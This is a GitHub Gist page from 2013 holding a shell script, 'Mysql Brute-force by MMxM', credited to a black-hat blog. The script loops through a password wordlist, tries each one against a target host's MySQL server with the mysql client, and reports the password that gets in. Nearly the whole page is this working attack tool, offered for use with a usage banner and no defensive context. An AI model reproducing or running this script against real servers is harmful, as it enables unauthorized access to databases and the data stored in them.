Created
May 5, 2013 22:08
-
-
Save hc0d3r/5522381 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Coder: MMxM | |
# Site: http://the-blackhats.blogspot.com | |
function brute(){ | |
clear | |
echo -e "\n[+] Attacking: $1\n[*] User: $2\n" | |
sleep 1 | |
lines=$(wc -l $3 | awk '{print $1}') | |
a=1 | |
for i in `cat $3` | |
do | |
l=$(mysql -h $1 -u $2 -p"$i" -e "show databases;" 2> /dev/stdout) | |
if [ "$?" == "0" ] | |
then | |
echo -ne "\r[*] Password Cracked [$a/$lines]: $i\n[+] Password: $i\n" | |
break | |
else | |
echo -ne "\r[+] Trying [$a/$lines]: $i\r\r" | |
fi | |
a=$(($a+1)) | |
done | |
echo -ne "\n[+] 100% complete\n\n" | |
} | |
if [ $# != 3 ] | |
then | |
cat << _banner | |
[+] ( Mysql Brute-force by MMxM ) | |
[+] Usage: mysql.sh <host> <user> <wordlist> | |
_banner | |
exit | |
fi | |
which mysql > /dev/null | |
if [ "$?" != "0" ] | |
then | |
echo "[-] ERROR MYSQL CLIENT NOT FOUND" | |
exit | |
fi | |
brute $1 $2 $3 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment